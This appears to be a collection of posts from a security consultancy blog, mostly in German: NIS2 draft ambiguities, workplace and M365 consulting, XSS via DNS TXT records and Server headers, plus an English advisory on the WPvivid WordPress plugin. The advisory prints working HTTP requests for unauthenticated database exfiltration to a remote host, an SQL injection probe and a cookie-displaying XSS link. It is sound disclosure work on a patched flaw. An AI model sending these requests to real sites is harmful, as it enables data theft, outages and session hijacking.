Die Projektleitung muss sich der Komplexität eines Workplace-Projekts bewusst und entsprechend ausgerüstet sein. Oft muss deutlich mehr geleistet werden als bei einer durchschnittlichen IT-Projektleitung. Vor allem im Umgang mit Endnutzern der Organisation und deren Beschwerden muss die Projektleitung Feingespür beweisen, um nicht in Ungnade zu fallen, da die Anforderungen an die Benutzerfreundlichkeit sehr hoch sind.  

Deshalb sollte primär für jegliches Workplace-Projekt eine erfahrene Projektleitung eingesetzt werden. Diese sollte keinerlei inhaltliche Teilprojekte übernehmen, um den Fokus auf die zentrale Projektsteuerung sicherzustellten. Die Projektleitung kann auch durchaus aus mehreren Personen bestehen, die das Großprojekt gemeinsam leiten. Eine geteilte Leitung zeigt meist eine höhere Interdisziplinarität und somit eine bessere Problembewältigung im Projekt auf.  

  

Fazit 

Bei einem Workplace-Projekt gibt es ganz schön viel zu beachten! HiSolutions kennt die richtigen Mittel und Wege, um den Hürden durch die Potenzierung der Stakeholder entgegenzuwirken. Das Digital Workplace-Team weiß, wie ein Workplace-Projekt erfolgreich zwischen Zielen und Abhängigkeiten navigiert werden muss.  

Mehr zum Thema Digital Workplace in unserer Success Story: Auswahl einer internen Kommunikationsplattform für die Evangelisch-Lutherische Kirche in Oldenburg 

Allgemein

Kurioses um NIS2

Das NIS2-Umsetzungsgesetz soll zum 1.10.2024 in Kraft treten. Mit Sanktionen, die an die DSGVO erinnern und umfangreichen Pflichten wirkt die NIS2 auf rund 35.000 Unternehmen und viele von ihnen werden das erste Mal regulatorisch erfasst.

Doch gut neun Monate vor Inkrafttreten des Gesetzes ist noch einiges unklar. Nicht alles davon ist problematisch – vieles aber zumindest kurios. Im Folgenden erklären wir die wesentlichen Details von NIS2 und benennen einige Unklarheiten bezüglich Sektoren, Definitionen, Regulierung digitaler Akteure und Querverweise zu anderen Gesetzen. Im Hinblick auf den neuen Gesetzesentwurf vom 02.01.2024 (noch nicht veröffentlicht) zielt dieser Artikel darauf ab, ein tiefgehendes Bild des aktuellen Gesetzesstandes zu geben und einige Prüfkriterien für den neuen Entwurf vom 02.01.2024 aufzuwerfen.

Der nachfolgende Artikel basiert auf dem Diskussionspapier vom Bundesministerium des Innern und für Heimat vom 27.09.2023.

NIS2-Grobkonzept

Das NIS2-Grobkonzept richtet sich an alle, die noch keinen detaillierten Kontakt mit den Referentenentwürfen zu NIS2 hatten. Die übrigen Leserinnen und Leser können gerne bei der nächsten Überschrift “Sektorendefinition” weiterlesen.

Unter NIS2 werden privatwirtschaftliche Unternehmen, öffentliche Institutionen und Mischformen unter den Begriff “Einrichtung” gefasst. Generell hängt die Betroffenheit unter NIS2 von dem Sektor des Kerngeschäfts und der Größe der jeweiligen Einrichtung ab.

Im Diskussionspapier vom 27.09.2023 werden vom BMI die Sektoren in Anlage 1 & 2 in Form einer Liste definiert. Wenn eine Einrichtung in den dort gelisteten Sektoren tätig ist, muss sie in der Regel im nächsten Schritt basierend auf ihrer Größe klassifiziert werden.

Hier werden zwei Einrichtungsarten unterschieden: “besonders wichtige” und “wichtige” Einrichtungen.

Ein wichtiger Unterschied zwischen besonders wichtigen oder wichtigen Einrichtungen betrifft aktuell die Sanktionshöhe: Besonders wichtige Unternehmen können mit bis zu 10 Mio. € oder 2 % des Jahresumsatzes, wichtige Unternehmen mit bis zu 7 Mio. € oder 1,4 % des Jahresumsatzes sanktioniert werden.

Neben diesem “Standardfall” gelten Ausnahmen für bestimmte Sektoren und Einrichtungsarten, die unabhängig von ihrer Größe in den Geltungsbereich von NIS2 fallen. Die größte Gruppe innerhalb dieser Ausnahme bilden die Betreiber kritischer Anlagen. Sie werden unabhängig der Unternehmensgröße als besonders wichtige Einrichtung erfasst. Ihre Klassifizierung richtet sich nach der Menge der von ihnen versorgten Menschen, der Richtwert liegt bei 500.000 Menschen. Für Betreiber Kritischer Anlagen gelten verschärfte Pflichten unter NIS2.

Sektorendefinition

Das Thema Ernährung

Unter NIS2 werden die Sektoren tabellarisch in einer Liste im Anhang des Gesetzestextes aufgeführt. Auf diese Anlage 1 & 2 wird im Fließtext immer wieder verwiesen. Dabei entstehen unter anderem zwei Diskrepanzen.

Ein erster interessanter Punkt ist, dass Ernährung als Sektor im Bereich der kritischen Anlagen erwähnt wird, aber es letztendlich nicht mehr in die Anlage 1 geschafft hat – wo er der Logik folgend auftauchen müsste. Denn alle Sektoren für die NIS2 gilt und in denen Betreiber kritischer Anlagen tätig sind werden ebenfalls Anlage 1 aufgelistet. Findige Gesetzestextverfolgende wissen außerdem, dass es den Sektor „Produktion, Verarbeitung und Vertrieb von Lebensmitteln“ in Anlage 2 gibt – Anlage 2 gilt aber eben nur für „wichtige“ Einrichtungen und nicht für die Betreiber kritischer Anlagen.

Staatliche Einrichtungen werden endlich inkludiert, oder?

Außerdem gilt NIS2 auf EU-Ebene sehr explizit für die öffentlichen Verwaltungen und Zentralregierungen. Konkret steht dort:

“Unabhängig von der Größe der Einrichtungen gilt diese Richtlinie auch für Einrichtungen der in den Anhang I oder II genannten Art, wenn […] die Einrichtung eine Einrichtung der öffentlichen Verwaltung:

i), von einem Mitgliedstaat gemäß nationalem Recht definierte Einrichtung der öffentlichen Verwaltung der Zentralregierung ist oder

ii), von einem Mitgliedstaat gemäß nationalem Recht definierte Einrichtung der öffentlichen Verwaltung auf regionaler Ebene ist, die nach einer risikobasierten Bewertung Dienste erbringt, deren Störung erhebliche Auswirkungen auf kritische gesellschaftliche oder wirtschaftliche Tätigkeiten haben könnte.” Art. 2 (2)

[Original EU-Richtlinie mit Veröffentlichung vom 27.12.2022

In der deutschen Gesetzgebung sollen die dazugehörigen Einrichtungen laut Fließtext in Anlage 3 definiert werden. Anlage 3 aber wurde bisher im Diskussionspapier nicht mitgeliefert.

Regulierung Digitaler Dienstleistungen

Neben den allgemeinen Sektoren-Definitionen gibt es auch Punkte, die gerade für einige Einrichtungen im IT-Bereich noch unklar bleiben.

Anlage 1 Sektor Informationstechnik und Telekommunikation unterscheidet zwischen den Einrichtungsarten „Anbieter öffentlicher elektronischer Kommunikationsnetze“ und „Anbieter öffentlich zugänglicher elektronischer Kommunikationsdienste“. Ja, auch wir haben hier zweimal die Begriffe vergleichen müssen, sie unterscheiden sich im Kern. Die Krux liegt darin, dass die „Anbieter von Telekommunikationsdiensten oder öffentlich zugänglichen Telekommunikationsnetzen“ die in §30 & §31 definierten Risikomanagement-Maßnahmen nicht umsetzen müssen. Bei dem Abgleich der ersten zwei Begriffe mit dem zweiten Begriffspaar wird jedoch deutlich, dass es nicht genau die gleichen Begriffe sind. Da die Begriffe nicht näher definiert werden, liegt der Gedanke nah, dass sie bedeutungsgleich sind – ob aber diese Annahme vor den möglichen Sanktionen bewahren würde, bleibt unklar.

Im Fließtext des Definitionspapiers wird immer wieder von „Domain-Name-Registry-Dienstleistern“ gesprochen. Diese sind „ein Registrar oder eine Stelle, die im Namen von Registraren tätig ist, insbesondere Anbieter oder Wiederverkäufer von Datenschutz- oder Proxy-Registrierungsdiensten“. In Teil 4 §51-53 werden umfangreiche weitere Pflichten für „Top Level Domain Name Registries“ und „Domain-Name-Registry-Dienstleister“ definiert. In den Einrichtungsarten der Anlage 1 oder 2 werden allerdings nur „TLD-Namensregister“ eingeschlossen. Den sprachlichen “Denglisch”-Mix außen vorgelassen scheint es, als wären die allgemeinen DNR’s in der Anlage 1 oder 2 vergessen worden. Die Kritikalität (also besonders wichtig oder wichtig) der „Domain-Name-Registry-Dienstleistern“ ist somit unklar.

Weiterhin ist auch unklar, wie „Verwaltung für IKT-Dienste“ in das Bild von Sektoren und Teilsektoren gehört. In §35 (2) wird „Verwaltung für IKT-Dienste“ im gleichen Atemzug wie andere Sektoren aus den Anlagen 1 & 2 genannt, aber in der Anlage 1 & 2 taucht die Verwaltung für IKT-Dienste weder auf Sektoren- noch auf Einrichtungsebene auf.

Diese Querverweise zwischen Fließtext und Anhang sind es, die häufig Fragen offenlassen. Doch der Blick sollte nicht nur auf die interne Struktur eines Gesetzes beschränkt bleiben. Auch ist es spannend zu sehen, wie dieses Gesetz mit anderen Rechtsvorschriften zusammenwirkt – ein Aspekt, der im nächsten Abschnitt näher beleuchtet wird.

NIS2 und andere Gesetze

Die Verweise auf andere Gesetze finden häufig in der Sektorendefinition statt.

So wird zum Beispiel unter § 28(4) werden Ausnahmen der Geltung im Bereich Energiewirtschaft definiert. Hier wird auf §5c Energiewirtschaftsgesetz verwiesen.

Auszug vom Gesetz über die Elektrizitäts- und Gasversorgung an der verwiesenen Stelle

Nach detaillierter Recherche fanden wir heraus, dass das Bundesministerium für Wirtschaft und Klimaschutz eine Gesetzesänderung plant. In dieser Änderung sollen die aktuellen §§ 11 Abs. 1a EnWG und Abs. 1b EnWG in den §5c EnWG verschoben werden. Diese Änderung wurde bereits vorausschauend im Diskussionspapier berücksichtigt, eine Fußnote wäre in diesem Fall benutzerfreundlich gewesen. Das aktuelle EnWG schafft aber auch keine Eindeutigkeit, welchen der diversen benannten Einrichtungsarten der Ausschluss aus vielen NIS2 Pflichten gilt.

Ein weiteres Problem sind Verweise auf ungenaue Definitionen, zum Beispiel bei den Gesundheitsdienstleistern. Diese werden als “Erbringer von Gesundheitsdienstleistungen” im Sektor Gesundheit in den Geltungsbereich fallen. Was ein Gesundheitsdienstleister ist, wird im aktuellen Diskussionsentwurf nicht näher definiert. Im NIS2-Gesetzestext vom 27.12.2022 wird an dieser Stelle auf Artikel 3 Buchstabe g der Richtlinie 2011/24/EU des Europäischen Parlaments verwiesen:

g) „Gesundheitsdienstleister“ jede natürliche oder juristische Person oder sonstige Einrichtung, die im Hoheitsgebiet eines Mitgliedstaats rechtmäßig Gesundheitsdienstleistungen erbringt;

Artikel 3 Buchstabe g der Richtlinie 2011/24/EU

Neben dieser schwammigen Definition wurden Gesundheitsdienstleister auch schon unter NIS1 erfasst, allerdings bei der Überführung in KritisV übergangen. Das aktuelle Papier legt nahe, dass Gesundheitsdienstleister nun wieder in den Geltungsbereich fallen.

Bekanntlich gilt für Finanzeinrichtungen ein Dschungel aus Vorgaben der unterschiedlichsten Gesetze (MaRisk, DORA, SWIFT, MiFid, BAIT, VAIT). NIS2 soll allerdings nur für Finanzunternehmen gelten, die nicht unter DORA fallen. Dies wird konkret in §28(1) definiert:  „…Ausgenommen sind Finanzunternehmen im Sinne des Artikel 2 Absatz 2 der Verordnung (EU) 2022/2554 „Für die Zwecke dieser Verordnung werden die in Absatz 1 Buchstaben a bis t genannten Unternehmen zusammen als „Finanzunternehmen“ bezeichnet.“ und Unternehmen, für welche die Anforderungen der Verordnung (EU) 2022/2554 auf Grund von § 1a Absatz 2 Kreditwesengesetz [„(weggefallen)“] oder § 293 Absatz 5 Versicherungsaufsichtsgesetz [existiert nicht] gelten“.  Aktuell sind diese Querverweise noch nicht hilfreich in der Bestimmung des Geltungsbereichs von NIS2 bei den Finanzakteuren.

Das aktuelle Diskussionspapier ist genau das – ein Entwurf. Die genannten Unklarheiten in den Details sind aber im Zweifelsfall essentiell, denn der Aufbau der entsprechenden Systeme für NIS2-Compliance kann für Unternehmen sehr zeitaufwendig sein. Sobald der nächste Entwurf veröffentlicht wurde, werden wir eine neue Bewertung der Texte vornehmen.

Wenn Sie auf dem aktuellen Stand bleiben wollen, abonnieren Sie gerne unsere regelmäßig erscheinenden Newsletter zu Kritis und BCM und besuchen Sie unsere NIS2-Website.

Advisories, Allgemein, Penetrationstest, Schwachstelle

Multiple vulnerabilities in WordPress Plugin – WPvivid Backup and Migration

As part of a customer project, multiple vulnerabilities in the WordPress plugin WPvivid Backup and Migration (Free Edition) were identified and further investigated outside the project to determine the impact in more detail.

The vulnerabilities were identified in version 0.9.68 and probably exist in older versions as well. Upgrade the plugin WPvivid Backup and Migration (Free Edition) to the version 0.9.69 or higher as soon as possible to fix the vulnerabilities.

Background Information

WPvivid Backup and Migration is a WordPress plugin by WPvivid Team and offers backup, migration, and staging as basic features. This plugin has more than 200,000 active installations.

The vulnerabilities

Functions of the WPvivid Backup and Migration plugin in version 0.9.68 can be called remotely without authentication, which allows attackers to exfiltrate the entire WordPress database, for example, or to fill the hard disk of the corresponding system by multiple local copies of the WordPress pages disturbing their availability (CVE-2024-1982).

Furthermore, SQL queries can be manipulated (SQL injection), which means that further database contents can probably be read or manipulated without authentication (CVE-2024-1981).

The plugin is also vulnerable to stored cross-site scripting attacks . For this, a WordPress administrator must execute a manipulated link, for example. This vulnerability was simultaneously published by another researcher and is already tracked under CVE-2021-24994.

Unauthenticated Access to WPvivid Functions (CVE-2024-1982)

The following plugin functions can be called unauthenticated e. g. over the Internet:

  • wp_ajax_nopriv_wpvivid_restore
  • wp_ajax_nopriv_wpvivid_get_restore_progress
  • wp_ajax_nopriv_wpvividstg_start_staging_free
  • wp_ajax_nopriv_wpvividstg_get_staging_progress_free

The function wp_ajax_nopriv_wpvividstg_start_staging_free can be used to trigger the creation of a staging web page. Selected or all files of the WordPress installation are copied into a definable subdirectory. This functionality can be started without prior authentication like this:

POST /wp-admin/admin-ajax.php?action=wpvividstg_start_staging_free HTTP/1.1
Host: myblog.hisocorp.com
[…]
Content-Type: application/x-www-form-urlencoded

path=custom_name_staging_page&table_prefix=something&custom_dir=something&additional_db={"test":"test"}&root_dir=0

Afterwards, the server response {"result":"success","task_id":"wpvivid-61ba042730a63"} indicates that the action was successful.

By continuously running this function to create staging versions of the web application an attacker can exhaust the systems disk space. Normal operation of the system and especially of the web application can thus no longer be provided.

By specifying a remote system in the parameters of the function wp_ajax_nopriv_wpvividstg_start_staging_free, the contents of the WordPress installation can be exfiltrated. This can be done as in the following example request:

POST /wp-admin/admin-ajax.php?action=wpvividstg_start_staging_free HTTP/1.1
Host: example.org
[…]
Content-Type: application/x-www-form-urlencoded
 
path=name_existing_staging_page&create_new_wp=1&additional_db={"additional_database_check":"1","additional_database_info":{"db_host":"192.168.0.5","db_name":"something","db_user":"username","db_pass":"password"}}&custom_dir={"database_check":1}&table_prefix=something

Afterwards, the status must be queried once via the function wpvividstg_get_staging_progress_free:

POST /wordpress/wp-admin/admin-ajax.php?action=wpvividstg_get_staging_progress_free HTTP/1.1
Host: myblog.hisocorp.com
Content-Type: application/x-www-form-urlencoded

Thus, an attacker can retrieve sensitive data from WordPress databases.

Update: The vendor fix in version 0.9.69 simply disables the wpvividstg_start_staging_free action, see code changes to includes/staging/class-wpvivid-staging.php here.

SQL Injection in WPvivid Function (CVE-2024-1981)

The parameter table_prefix in the function wpvividstg_start_staging_progress_free appears to be vulnerable to an SQL injection. However, no more in-depth exploitability was performed as part of the research.

The following HTTP request was sent to the plugin function with the parameter value test':

POST /wordpress/wp-admin/admin-ajax.php?action=wpvividstg_start_staging_free HTTP/1.1
Host: myblog.hisocorp.com
[…]
Content-Type: application/x-www-form-urlencoded

 
path=something&additional_db={"test":"test"}&custom_dir={"database_check":1}&table_prefix=test'

Subsequently, the status must be queried once via the function wpvividstg_get_staging_progress_free:

POST /wordpress/wp-admin/admin-ajax.php?action=wpvividstg_get_staging_progress_free HTTP/1.1
Host: myblog.hisocorp.com
Content-Type: application/x-www-form-urlencoded

It may happen that the status has to be queried several times until the following response containing the SQL exception is returned:

{"continue":0,"error":1,"error_msg":"Failed to create a table. Error:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '` (\n  `meta_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,\n  `comment_id` b...' at line 1, query:CREATE TABLE `test'commentmeta` (\n  `meta_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,\n  `comment_id` bigint(20) unsigned NOT NULL DEFAULT 0,\n  `meta_key` varchar(255) DEFAULT NULL,\n  `meta_value` longtext DEFAULT NULL,\n  PRIMARY KEY (`meta_id`),\n  KEY `comment_id` (`comment_id`),\n  KEY `meta_key` (`meta_key`(191))\n) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4","log":"open log file failed","percent":50,"result":"success"}

Update: Here, the vendor fix in version 0.9.69 is the same as for the previous vulnerability. The wpvividstg_get_staging_progress_free action was simply disabled by commenting it out in includes/staging/class-wpvivid-staging.php, see here.

Stored Cross Site Scripting (XSS) in WPvivid

Update: This vulnerability was also independently discovered and reported by another researcher and was assigned CVE-2021-24994 (published during the responsible disclosure process, see here).

The plugin offers remote storage on a Google Drive. For this, an account (called Google Drive Remote Storage Account) for the corresponding authentication must be provided. The name of the specified account is included partially unfiltered in an onclick JavaScript area within the plugin. This means that arbitrary HTML and JavaScript code can be injected. This behavior allows stored XSS attacks via the plugin web interface.

When a logged in WordPress administrator executes the following link, an account with the specified name is automatically stored in the plugin:

http://myblog.hisocorp.com/wp-admin/admin.php?page=WPvivid&action=wpvivid_google_drive_finish_auth&name=test2%22%20onload%3dalert(document.cookie)%3E&default=lll%27%22lll&auth_id

The payload passed in this example adds the JavaScript attribute onload, which is used to display the session cookies in an alert box:

Responsible Disclosure Timeline

  • 15.12.2021 – HiSolutions identified the vulnerabilities
  • 14.01.2022 – HiSolutions contaced WPvivid Team via contact form
  • 20.01.2022 – WPvivid Team responds and HiSolutions sends the details regarding the vulnerabilities
  • 14.02.2022 – WPvivid Team provides the new version 0.9.69 in which the vulnerabilities should be fixed
  • 01.03.2022 – HiSolutions tests the new version. The vulnerabilities were fixed.
  • 29.02.2024 – The Wordfence CNA issues CVE-2024-1981 and CVE-2024-1982.

Credits

The vulnerabilities were found by Denis Werner (HiSolutions AG). The fixes were reviewed by David Mathiszik (HiSolutions AG).

Allgemein

M365 – nicht der richtige Deckel für jeden Topf  

Microsoft M365 ist Marktführer im Kollaborativen Arbeiten am digitalen Arbeitsplatz, so sehen das viele Industrien und Dienstleistungsbereiche. Dieser mere-exposure-effect kann verursachen, dass das Programmpaket M365 nur durch eine öfter Wahrnehmung als Allround Lösung gesehen wird. Doch in welchen Branchen setzt M365 nicht richtig an?  

Die Marktführerpräsenz von Microsoft verleitet viele Unternehmen dazu, in der notwendigen digitalen Transformation des Arbeitsplatzes auf das international vorherrschende M365 zurückzugreifen. Diese „offensichtliche Wahl“ deckt tatsächlich viele Kollaborations- und Arbeitsbereiche durch Anwendungen wie Outlook, Planner und Excel ab. HiSolutions als herstellerunabhängiges Beratungshaus zeigt auf, in welchen Fällen Anforderungen durch andere Tools gedeckt werden müssen. Für welche Anwender sind spezifischere Funktionen nötig? Es ist klar: Es muss es nicht immer M365 sein.  

Ein Blick auf Workspace Tools  

M365, welches die klassischen Office-Produkte sowie Teams und weitere Anwendungen enthält, bietet in vielen Organisationen für die typischsten Anforderungen im Unternehmen eine Lösung. Dazu kommen noch Automatisierungslösungen sowie seit neuestem die integrierte Microsoft KI: Copilot.  Microsoft Chat, eine weitere Funktion, welche das komplette interne Datenuniversum im Unternehmen nutzt, sowie das Internet durchforstet. Mit geeigneten technischen und organisatorischen Maßnahmen bietet M365 für viele Firmen und Industrieunternehmen einen sicheren und kompatiblen Transformationsweg. 

Ein Blick auf Insellösungen

Nach HiSolutions, lohnt sich ein Blick auf andere Tools, wenn spezifische Anforderungen abgedeckt werden müssen. Ein Beispiel hierfür sind Unternehmen, die besonderen Herausforderungen in der Aufgabenverwaltung begegnen. Diese Unternehmen brauchen spezialisierte Lösungen. Der simpel aufgebaute Microsoft Planner kann in vielen Kontexten problemlos eingesetzt werden, schwierig wird es jedoch beispielsweise im Bereich Marketing & Kampagnenplanung. Planner ist nicht anpassungsfähig genug, dazu fehlen Features wie z. B.  Personaleinsätze und Budgetverteilungen. Ebenso beschränkt ist er in der Aufgabenverwaltung im Softwareentwicklungskontext, in kreativen Workshops und der Kommunikation zwischen Gruppen. Die Softwarelösung muss leicht verständliches sein und ein attraktives Design besitzen – dazu muss es Zusammenhänge auf den ersten Blick klarmachen. Durch dieses Beispiel ist klar, dass nicht in allen Fällen die M365 Apps ausreichen.

Der ehrenvolle Weg

Die Erfahrung von HiSolutions zeigt auf, das Unternehmen, welche keine klassische Betriebsstruktur haben, bei der Implementierung von M365 auf weitere Herausforderungen treffen: beispielsweise Ehrenamtsgruppen und Stiftungen, die vom hierarchischen Modell abweichen, können oft mit dem großen Aufwand der IT-Administration nicht umgehen. Ehrenamtliche Gruppen besitzen häufig nicht die Finanzquelle oder Technikaffinität die nötig ist, um alle Funktionen angemessen zu implementieren. Wenn der Allrounder M365 nicht vollständig eingesetzt wird, ergibt sich dieser als äußerst kostspielig. 

Ein weiterer Grund nicht auf den Allrounder M365 zu setzen ist, wenn Ihre Anwender spezifische Anforderungen haben. Alternative Anwendungsprogramme müssen erst einmal identifiziert werden, das kann aufwändig sein. Es kostet Unternehmen Zeit selbst herauszufinden, welche Programme Ihre Anforderungen gerecht werden. Jedes Unternehmen hat andere Ansprüche, die erfüllt werden müssen. Kollaborationstools, die sich auf einen spezifischen Bereich fokussieren und in diesem weit über die grundlegenden Basisfeatures von M365 hinausgehen sind somit die Lösung. Diese spezifischen Anwendungsprogramme werden Insellösungen genannt. Vor allem für bestimmte Organisationsformen wie z. B. Agenturen, Vereine, Schulen und Stiftungen bieten sich diese an. 

Durch die Ausarbeitung der nötigen Anforderungen und den entsprechenden Einsatz passender Insellösung wird Effizienz bewahrt. Unter anderem kommt es zu einem langfristig kleineren IT-Aufwand.  Nutzern wird ein erleichterter Einstieg in den digitalen Arbeitsplatz präsentiert. Da das Unternehmen für die konkreten Aufgaben der Nutzer passgenaue Anwendungsprogramme bereitstellt. Somit wird Zeit in der Einarbeitung gespart und die Nutzer müssen sich nicht durch Unmengen an Programmen, innerhalb eines Programmpacktes wie M365, durchforsten. 

Für ehrenamtliche Gruppen bieten sich flexible Alternativen besonders an. Hier kommt es vor allem auf einen nutzerfreundlichen Workspace an der die Brücke zwischen Technikaffinität und Bedienungsfreundlichkeit bildet. Die Kosten und Nutzen müssen hierbei genaustens ausgelegt werden: Wie viel kostet die IT-Verwaltung und die Lizenzen? Braucht es Server, oder ist alles Cloudbasiert? Wie viel Produktivität können die neuen Anwendungsprogramme garantieren?

Digitale Souveränität für Organisationen 

Viele Organisationen schrecken aufgrund von Bedenken bezüglich der digitalen Souveränität und Abhängigkeit von proprietären Anbietern ab. In diesem Fall sind offene Anwendungen, die eine flexible Datenmigration auf andere Anwendungen ermöglichen, ein Mittel der digitalen Souveränität. Open-Source-Lösungen können ein Baustein der digitalen Souveränität sein, sofern die Organisationen die Ressourcen haben, den Sourcecode weiterzuentwickeln. Das Prinzip your data, your terms bietet Organisationen Sicherheit in der neuen Arbeitsform des Digital Workplace. Für Behörden spielt digitale Souveränität eine besonders große Rolle. Nicht nur wegen des Umganges mit sensiblen Daten, sondern auch durch die Forderungen der Politik nach dem selbst bestimmten Einsatz von IT.    

Den richtigen Deckel finden    

Ob nun der Allrounder M365 oder die agile Insellösung als Transformationsweg – Es darf keine vorschnelle Entscheidung getroffen werden. Datenschutzfolgeabschätzung und IT-Sicherheitskonzepte müssen in allen Fällen erstellt werden. 

Denn digitale Transformation schreitet in Behörden, Unternehmen, im Bildungsberiech und bei Endnutzern in Deutschland voran. Die Bedenken vor so einem großen Wandel im Arbeitsbereich sind begreifbar.  Der Arbeitsaufwand kann groß sein, die Effektivität nicht sofort gegeben. Eine richtige Insellösung und Umsetzung in der Digitalisierung Ihres Arbeitsplatzes bietet neue Arbeitsweisen, komfortablere Arbeitsverhältnisse und neue Möglichkeiten. All seine Hoffnungen in M365 als Lösung zu stecken ist also leichtsinnig. 

Advisories, Allgemein, Penetrationstest, Themen

XSS auf Abwegen

Cross-Site-Scripting (XSS) ist ansich eine altbekannte Schwachstelle, die in den meisten gängigen Frameworks mittels Eingabevalidierung standardmäßig mitigiert wird. Auch viele Individualanwendungen im Netz behandeln Eingabefelder, die von Dritten ausgefüllt werden, inzwischen sehr vorsichtig.

Zweckentfremdete DNS-Records

Dass derartige Angriffsvektoren oft auch von unerwarteter Seite kommen, zeigte sich, als ich nach der Lektüre des sehr lesenswerten Artikels The Joy of TXT von Peter Lowe ein wenig mit meinen DNS-Einträgen herumspielte – und prompt auf verschiedenen Seiten, die TXT-DNS-Records auslesen und anzeigen, mit meinen eigenen Popups begrüßt wurde.

TXT-Records werden oft für Validierungszwecke eingesetzt, die über die Standard-DNS-Records nicht abgedeckt werden können. Hierzu zählen meist SPF-, DMARC- und DKIM-Einträge sowie verschiedene Validierungen von Drittanbieter-Services. Unter anderem kann ein derartiger Eintrag zum Beispiel von LetsEncrypt genutzt werden, um die Domain zu verifizieren.
Doch die Möglichkeiten sind praktisch unbegrenzt. TXT-Records können, wie im Artikel beschrieben, sogar relativ große Mengen an Text bereitstellen. Und damit natürlich auch Javascript-Snippets, die auf abfragenden Webseiten mit XSS-Schwachstellen dafür sorgen können, dass Code im Webbrowser angezeigt wird.

Die bekanntesten Anbieter für DNS-Validierungsdienste und artverwandte Services entschärfen derartige Einträge standardmäßig. Auf der Webseite wird der bereinigte Inhalt der TXT-Records angezeigt, das Script kommt nicht zur Ausführung. Doch Ausnahmen bestätigen die Regel: Einige Anbieter scheinen davon auszugehen, dass von dieser Seite keine Gefahr droht und binden die Inhalte ungefiltert im Browser ein – unerwünschten Code inbegriffen.

Unübliche Server-Header

Bei meiner Recherche stieß ich auf eine weitere oft unvalidierte Quelle von fremdem Input: Server-Header. Auch hier wird bei den meisten Anbietern viel vorgefiltert, doch eben nicht bei allen. Und während das Einfügen von Javascript-Code in den meisten Standard-Headern vermutlich zu sehr unvorhersehbarem Verhalten führen würde, gibt es mindestens einen Header, der offensichtlich noch harmlos genug erscheint, um ihn ungefiltert wieder auszugeben: Der „Server“-Header.

Wer sich ein wenig mit den üblichen Verdächtigen Apache, Nginx und IIS auseinandergesetzt hat, wird sicherlich bemerkt haben, dass das Ändern des Server-Headers nicht ganz trivial ist, was diese Wahrnehmung möglicherweise bestärkt. Und während böswillige Aktoren zwar das Wissen haben mögen, wie man den Quellcode eines Webservers anpasst und ihn neu kompiliert, scheint das doch ein recht sperriger Weg zu sein. Doch es gibt mindestens für den Apache Möglichkeiten, den Server-Header nahezu komplett umzuschreiben – kurioserweise mittels des Standard-Moduls „security2“, also known as „modsecurity“.

So gelingt es in einigen Fällen relativ einfach, JavaScript auf Seiten, die Server-Header anzeigen, im Browser zur Ausführung zu bringen. Abhilfe schafft auch hier nur serverseitige Filterung – oder ein Scriptblocker auf Clientseite, der oft aber auch die Funktionalität der Webseite beeinträchtigt, da der eingeschleuste Inhalt ebenfalls im Kontext der Webseite ausgeführt wird. Ein Scriptblocker kann das fremde Script nicht von den regulär eingebundenen Scripten unterscheiden.

Eingeschränkt sinnvoll: Der User Agent

Eine eher esoterische Möglichkeit, Scripte im Browser zu injizieren, ist die Manipulation des User Agent des verwendeten Browsers. Dies kann relativ simpel über Add-Ons geschehen, führt aber in vielen Fällen dazu, dass Aufrufe von Webseiten fehlschlagen. Schuld ist hier ein vorgelagerter Security-Proxy oder – Kuriosum Nummer zwei – das bereits erwähnte „security2“-Modul im Apache. Diese Maßnahmen erkennen das Script im User Agent und sperren den aufrufenden Browser direkt aus.

Der Nutzen dieser Variante ist hingegen fraglich: Sie muss auf dem lokalen Client eingestellt werden und betrifft damit auch nur diesen. Für Angriffe auf Fremdsysteme ist sie unbrauchbar. Man benötigt also bereits Zugriff auf das anzugreifende System – ein Henne-Ei-Problem. Zum Testen der serverseitigen Validierung und aktiver Sicherheitsmechanismen taugt die Methode jedoch allemal. Vorausgesetzt, dass der Server den User Agent auf einer seiner Seiten auch anzeigt.

Fazit: Vertraue niemandem!

Gelingt es, jemanden dazu zu bringen, eine verwundbare Seite aufzurufen und die präparierte Domäne in das entsprechende Textfeld einzutragen, ist ein erfolgreicher Angriff durchaus wahrscheinlich. Und einem Hilferuf in einem beliebigen Supportforum, die Validierungsseite zeige beim eigenen Server Fehler an, können viele Techies nicht widerstehen. Manche Webservices erlauben sogar das Angeben der zu überprüfenden Domäne über einen URL-Parameter, das manuelle Eingeben der Domain entfällt durch den Klick auf den Link damit komplett. Dass derartige Seiten Fremdcode einbetten vermutet auch in der technisch versierten Community bei weitem nicht jeder. Und da diejenigen, die sich gerne als Helfer in Support-Foren tummeln, oft auch in der technischen Administration in Unternehmen tätig sind, ist der Sprung zu Supply-Chain-Attacken nicht nur theoretisch denkbar.
Selbstverständlich können auf Seiten des potenziellen Opfers Virenscanner und Scriptblocker aktiv sein und den Angriff abfangen, doch dieses Risiko geht ein Angreifer immer ein.

Es zeigt sich jedenfalls wieder, dass generell bei jedem Input, bei jeder Variable, bei jedem Datenbankeintrag, der nicht vom eigenen System(-verbund) kommt, Vorsicht geboten ist. Eine zusätzliche Absicherung der Systeme, beispielsweise mittels Web Application Firewall, Security-Modulen oder vorgelagerten Prüfsystemen, sollte Standard sein. Zusätzliche Sicherheit bietet beispielsweise eine restriktive Content Security Policy (CSP), die das Ausführen von Inline-Scripten und das Nachladen von fremden Domains im Browser komplett unterbindet.

Beitragsbild: Keine Informationssicherheit, kein Job mehr
Allgemein, ISMS, Risikomanagement

Keine Informationssicherheit, kein Job mehr

Wer lange genug in der IT-Sicherheit unterwegs ist, kennt mehr als eine Situation, in der Hinweise und Vorgaben zur IT-Sicherheit mit einem selbstbewusst geäußerten „Keine Lust“, „Haben wir noch nie so gemacht“ oder „Erklären Sie mir nicht meinen Job“ zur Seite geschoben wurden.

Rechtsanwalt Jens Ferner berichtet von einem Fall, der am Ende gerichtlich ausgefochten wurde. Konkret ging es um eine nicht abgeschlossene Schreibtischschublade, in der sich Kundenakten mit Finanzdaten befanden. Eine Schublade klingt nicht direkt nach IT-Sicherheit, aber die entsprechende Clean-Desk-Regelung war Teil der Vorgaben zur Informationssicherheit. Der Verstoß dagegen wurde vom Landesarbeitsgericht Sachsen als so schwer bewertet, dass er eine Abmahnung bzw. wie im konkreten Fall wegen Wiederholung sogar die Kündigung rechtfertigte.

